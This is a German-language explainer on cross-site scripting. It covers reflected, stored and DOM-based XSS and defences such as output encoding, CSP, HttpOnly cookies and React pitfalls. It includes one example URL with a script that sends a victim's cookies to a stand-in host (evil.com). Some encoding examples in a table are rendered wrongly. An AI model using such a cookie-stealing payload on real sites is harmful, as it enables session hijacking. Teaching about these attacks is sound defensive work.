XSS (Cross-Site Scripting) ist eine der verbreitetsten und gefaehrlichsten Sicherheitsluecken im Web. Bei einem XSS-Angriff schleust ein Angreifer schadhaften JavaScript-Code in eine vertrauenswuerdige Website ein. Dieser Code wird im Browser anderer Nutzer ausgeführt, mit vollem Zugriff auf deren Session, Cookies und die angezeigte Seite.
XSS belegt durchgehend einen Spitzenplatz in der OWASP Top 10 und ist neben CSRF eine der haeufigsten Angriffsarten auf Webanwendungen. Das Verständnis von XSS ist für jeden, der Webdesign oder Webentwicklung betreibt, essentiell.
Die drei XSS-Typen
Reflected XSS (Typ 1)
Der Schadcode wird in einer URL oder einem Formularparameter versteckt und vom Server in der Antwort "reflektiert". Der Nutzer muss den manipulierten Link anklicken.
Beispiel: Eine Suchseite zeigt den Suchbegriff in der Ergebnisseite an. Wenn der Suchbegriff nicht escaped wird, kann ein Angreifer JavaScript einschleusen:
https://example.com/suche?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
Stored XSS (Typ 2)
Der Schadcode wird dauerhaft auf dem Server gespeichert, zum Beispiel in einem Kommentar, einem Forenbeitrag oder einem Nutzerprofil. Jeder Nutzer, der die betroffene Seite aufruft, führt den Schadcode aus. Stored XSS ist der gefaehrlichste Typ, da er ohne Zutun des Opfers funktioniert.
DOM-based XSS (Typ 3)
Der Schadcode wird nie an den Server gesendet. Stattdessen manipuliert er das DOM (Document Object Model) direkt im Browser, typischerweise über unsichere JavaScript-Operationen wie innerHTML, document.write oder eval.
| Typ | Serverseitig | Dauerhaft | Verbreitung |
|---|---|---|---|
| Reflected | Ja | Nein | Hoch |
| Stored | Ja | Ja | Mittel |
| DOM-based | Nein | Nein | Steigend |
Was ein Angreifer mit XSS erreichen kann
- Session Hijacking: Session-Cookies stehlen und die Sitzung uebernehmen
- Phishing: Ein gefaelschtes Login-Formular auf der vertrauenswuerdigen Domain anzeigen
- Keylogging: Tastatureingaben mitschneiden (Passwoerter, Kreditkartendaten)
- Defacement: Die Seite visuell verändern
- Malware-Verbreitung: Drive-by-Downloads ausloesen
- Kamera/Mikrofon: Berechtigungen anfordern (der Nutzer vertraut der Domain)
Schutzmassnahmen
Output-Encoding (Escaping)
Die wichtigste Massnahme: Alle nutzerkontrollierten Daten müssen vor der Ausgabe escaped werden. Je nach Kontext unterschiedlich:
| Kontext | Encoding | Beispiel |
|---|---|---|
| HTML-Body | HTML Entity Encoding | < wird zu < |
| HTML-Attribut | Attribut-Encoding | " wird zu " |
| JavaScript | JavaScript-Encoding | ' wird zu \x27 |
| URL | URL-Encoding | < wird zu %3C |
| CSS | CSS-Encoding | Backslash-Encoding |
Content Security Policy (CSP)
Eine Content Security Policy definiert, welche Quellen für Scripts, Styles und andere Ressourcen erlaubt sind. Inline-Scripts koennen vollstaendig verboten werden, was die meisten XSS-Angriffe unwirksam macht.
Input-Validierung
Eingaben sollten serverseitig validiert werden:
- Typ prüfen (Zahl, E-Mail, URL)
- Länge begrenzen
- Whitelisting statt Blacklisting (erlaubte Zeichen definieren, nicht verbotene)
- HTML-Tags in Nutzereingaben nicht erlauben oder mit einem Sanitizer bereinigen
HttpOnly und Secure Cookies
HttpOnly: Cookie ist nicht per JavaScript auslesbar, schuetzt vor Cookie-DiebstahlSecure: Cookie wird nur über HTTPS gesendetSameSite: Zusaetzlicher Schutz gegen CSRF-Angriffe
XSS-Schutz in React und Next.js
React bietet eingebauten XSS-Schutz:
- Automatisches Escaping: Alle Werte in JSX werden automatisch escaped
- dangerouslySetInnerHTML: Der explizite Name warnt vor dem Risiko, nur verwenden, wenn die Quelle vertrauenswuerdig ist und der HTML-Code sanitized wurde
- Server Components: In Next.js reduzieren Server Components die Client-seitige Angriffsflaeche
Trotzdem wachsam bleiben
Auch in React sind XSS-Angriffe möglich:
dangerouslySetInnerHTMLmit unsanitized Inputhref-Attribut mitjavascript:-URLs- Server-seitiges Rendering mit unsanitized HTML
- Third-Party-Libraries, die DOM direkt manipulieren
XSS und andere Sicherheitsmassnahmen
XSS-Schutz ist Teil eines umfassenden Sicherheitskonzepts:
- Content Security Policy: Verhindert die Ausfuehrung von Inline-Scripts
- CORS: Kontrolliert Cross-Origin-Zugriffe
- CSRF-Tokens: XSS kann CSRF-Tokens auslesen, daher müssen beide Luecken geschlossen werden
- Subresource Integrity (SRI): Stellt sicher, dass externe Scripts nicht manipuliert wurden
XSS-Praevention beginnt bei der Architektur und muss in jedem Schritt der Entwicklung berücksichtigt werden, von der Dateneingabe über die Verarbeitung bis zur Ausgabe. Für jedes Webdesign-Projekt ist ein grundlegendes Verständnis von XSS unverzichtbar.